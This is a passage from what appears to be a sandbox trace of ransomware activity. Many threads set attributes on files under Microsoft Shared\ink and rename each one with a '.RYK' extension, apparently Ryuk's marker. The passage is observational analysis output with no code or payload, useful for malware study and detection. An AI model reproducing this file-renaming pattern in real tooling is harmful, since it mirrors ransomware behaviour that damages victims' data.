	[0160.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi", dwFileAttributes=0x80) returned 0
	[0161.092] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.092] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.092] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 179
	os_tid = 0x808

	[0160.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi", dwFileAttributes=0x80) returned 0
	[0161.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.094] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.095] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 180
	os_tid = 0x818

	[0160.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi", dwFileAttributes=0x80) returned 0
	[0161.096] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.097] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.097] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 181
	os_tid = 0xbf4

	[0160.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi", dwFileAttributes=0x80) returned 0
	[0161.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.112] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.112] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 182
	os_tid = 0xa48

	[0160.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi", dwFileAttributes=0x80) returned 0
	[0160.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.860] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.860] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 183
	os_tid = 0x2a8

	[0161.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", dwFileAttributes=0x80) returned 0
	[0161.437] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.438] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.438] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 184
	os_tid = 0xbf0

	[0161.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", dwFileAttributes=0x80) returned 0
	[0161.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.441] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.441] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 185
	os_tid = 0x4cc

	[0161.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", dwFileAttributes=0x80) returned 0
	[0161.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.443] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.443] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 186
	os_tid = 0xaec

	[0161.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", dwFileAttributes=0x80) returned 0
	[0161.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.445] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.445] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 187
	os_tid = 0xa08

	[0161.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", dwFileAttributes=0x80) returned 0
	[0161.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.128] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.128] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 188
	os_tid = 0x358

	[0161.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", dwFileAttributes=0x80) returned 0
	[0161.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.447] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.448] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 189
	os_tid = 0xa6c

	[0161.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", dwFileAttributes=0x80) returned 0
	[0161.449] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.450] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.451] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 190
	os_tid = 0x55c

	[0161.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", dwFileAttributes=0x80) returned 0
	[0161.453] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.453] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.454] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 191
	os_tid = 0x220

	[0161.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml", dwFileAttributes=0x80) returned 0
	[0161.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.945] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.945] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 192
	os_tid = 0xb6c

	[0161.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", dwFileAttributes=0x80) returned 0
	[0161.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.936] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.936] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 193
	os_tid = 0xb9c

	[0161.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", dwFileAttributes=0x80) returned 0
	[0161.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.935] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.935] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 194
	os_tid = 0x878

	[0161.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", dwFileAttributes=0x80) returned 0
	[0161.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.935] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.935] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 195
	os_tid = 0x32c

	[0161.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", dwFileAttributes=0x80) returned 0
	[0161.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.466] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.466] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 196
	os_tid = 0x9fc

	[0161.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", dwFileAttributes=0x80) returned 0
	[0161.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.468] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.468] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 197
	os_tid = 0x324

	[0161.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", dwFileAttributes=0x80) returned 0
	[0161.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.934] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.934] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 198
	os_tid = 0x854

	[0161.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", dwFileAttributes=0x80) returned 0
	[0161.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.933] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.933] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 199
	os_tid = 0xaac

	[0161.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml", dwFileAttributes=0x80) returned 0
	[0161.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.932] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.932] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 200
	os_tid = 0xae0

	[0161.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", dwFileAttributes=0x80) returned 0
	[0161.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.931] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.932] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 201
	os_tid = 0xacc

	[0162.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml", dwFileAttributes=0x80) returned 0
	[0162.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.865] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.866] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 202
	os_tid = 0x4b0

	[0162.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", dwFileAttributes=0x80) returned 0
